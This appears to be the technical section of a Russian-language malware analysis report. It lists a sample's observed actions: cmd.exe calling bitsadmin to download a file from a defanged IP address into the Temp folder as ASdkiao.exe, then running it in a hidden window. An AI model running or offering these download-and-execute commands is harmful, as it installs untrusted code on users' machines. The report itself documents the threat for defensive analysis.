Техническая информация
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download "http://18#.#83.97.155/movie.zp" "%LOCALAPPDATA%\Temp/ASdkiao.exe" && "%LOCALAPPDATA%\Temp/ASdkiao.exe"
- '18#.#83.97.155':80
- '<SYSTEM32>\bitsadmin.exe' /transfer /download "http://18#.#83.97.155/movie.zp" "%LOCALAPPDATA%\Temp/ASdkiao.exe"
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download "http://18#.#83.97.155/movie.zp" "%LOCALAPPDATA%\Temp/ASdkiao.exe" && "%LOCALAPPDATA%\Temp/ASdkiao.exe" (со скрытым окном)